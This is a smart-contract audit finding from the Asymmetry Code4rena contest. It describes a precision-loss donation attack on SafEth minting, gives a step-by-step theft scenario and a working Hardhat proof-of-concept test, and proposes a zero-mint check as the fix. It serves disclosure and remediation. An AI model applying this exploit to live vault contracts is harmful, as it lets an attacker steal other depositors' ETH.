Asymmetry contest - Krace's results

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/SafEth.sol#L98

Vulnerability details

Impact

Users may not receive any SafEth in exchange for their ETH if the underlyingValue has been manipulated through a "donation" by an attacker. An attacker could steal other users' ETH directly.

Proof of Concept

The amount of SafEth minted is calculated based on two numbers: totalStakeValueEth and preDepositPrice.

If we can construct a large preDepositPrice, the minted amount could be zero due to the loss of precision.

Unfortunately, preDepositPrice is calculated based on the derivatives's ethPerDerivative and balance. We could control its value by directly call submitAndDeposit of derivatives[1](sfrxEth). This will make preDepositPrice pretty large, and the minted amount mintAmount will be zero.

        uint256 underlyingValue = 0;

        // Getting underlying value in terms of ETH for each derivative
        for (uint i = 0; i < derivativeCount; i++)
            underlyingValue +=
                (derivatives[i].ethPerDerivative(derivatives[i].balance()) *
                    derivatives[i].balance()) /
                10 ** 18;

        uint256 totalSupply = totalSupply();
        uint256 preDepositPrice; // Price of safETH in regards to ETH
        if (totalSupply == 0)
            preDepositPrice = 10 ** 18; // initializes with a price of 1
        else preDepositPrice = (10 ** 18 * underlyingValue) / totalSupply;

    // mintAmount represents a percentage of the total assets in the system
    uint256 mintAmount = (totalStakeValueEth * 10 ** 18) / preDepositPrice;
    _mint(msg.sender, mintAmount);

    function deposit() external payable onlyOwner returns (uint256) {
        IFrxETHMinter frxETHMinterContract = IFrxETHMinter(
            FRX_ETH_MINTER_ADDRESS
        );
        uint256 sfrxBalancePre = IERC20(SFRX_ETH_ADDRESS).balanceOf(
            address(this)
        );
        frxETHMinterContract.submitAndDeposit{value: msg.value}(address(this));  // this could be called directly
        uint256 sfrxBalancePost = IERC20(SFRX_ETH_ADDRESS).balanceOf(
            address(this)
        );
        return sfrxBalancePost - sfrxBalancePre;
    }

Considering two users: User1 and User2

1. User1 stakes 0.5 ETH and get some SafEth (for example, 0.5 ETH SafEth)
2. User1 unstakes (0.5ETH - 1Wei) SafEth and leaves only 1 Wei SafEth in the SafEth contract
3. User1 directly calls the second derivative's (sfrxETH) submitAndDeposit to increase the second derivative's balance and ethPerDerivative. Here User1 calls submitAndDeposit with 1 ETH. Now, User1 has spent 1ETH + 1Wei, although the 1Wei is SafEth.
4. Now, User2 stakes 1ETH, however, due to the loss of precission, User2 get ZERO SafETH back!!!
5. User1 could unstake his 1 Wei SafEth and get the ETH back. Now User1 will get almost 1.5ETH back => User1 steal other's ETH

You can see the POC for more details, I simulate User1 and User2 with the adminAccount.

TEST POC

Insert this test into SafEth.test.ts => describe("Large Amounts", function () .

it.only("stake without safEth back ", async function () {
      const startingBalance = await adminAccount.getBalance();
      console.log('starting balance ',startingBalance);
      const depositAmount = ethers.utils.parseEther(".5");

      // user1 stake 0.5 ETH
      await safEthProxy.stake({ value: depositAmount });
            
      // user1 unstake and left only 1wei SafEth  ==> user1 spent 1 wei now
      var adminSafEth = await safEthProxy.balanceOf(adminAccount.address);
      await safEthProxy.unstake(
        adminSafEth.sub(1)
      );

      
      // user1 directly transfer 1 ETH to IFrxETHMinter, to increase the balance of second derivative
      // ==> user1 spent 1ETH + 1 wei
      var sfrxAddr = await safEthProxy.derivatives(1);
      var frxETH = await ethers.getContractAt("IFrxETHMinter",'0xbAFA44EFE7901E04E39Dad13167D089C559c1138');
      frxETH.submitAndDeposit(sfrxAddr,{value: ethers.utils.parseEther("1")});


      var safethNow = await safEthProxy.totalSupply();
      console.log('safETH before user2 stake ',safethNow);

      // simulate user2 stake 1 ETH
      // ==> user2 spent 1ETH but get nothing
      await safEthProxy.stake({ value: depositAmount });

      safethNow = await safEthProxy.totalSupply();
      console.log('safETH after user2 stake ',safethNow);

      //user1 unstake his safEth
     var lastBalance = await adminAccount.getBalance();
      console.log('starting balance ',lastBalance);

      await safEthProxy.unstake('1');

     var lastBalance1 = await adminAccount.getBalance();
      console.log('starting balance after final unstake ',lastBalance1);

      // ==> user1 get almost 1.5ETH back => earn 0.5ETH
      console.log('user1 getback: ',lastBalance1.sub(lastBalance));  


    });

Tools Used

Hardhat

Recommended Mitigation Steps

Ensure the number of safEth to be minted is not zero:

    // mintAmount represents a percentage of the total assets in the system
    uint256 mintAmount = (totalStakeValueEth * 10 ** 18) / preDepositPrice;
+   require(mintAmount > 0, "zero safETH minted");
    _mint(msg.sender, mintAmount);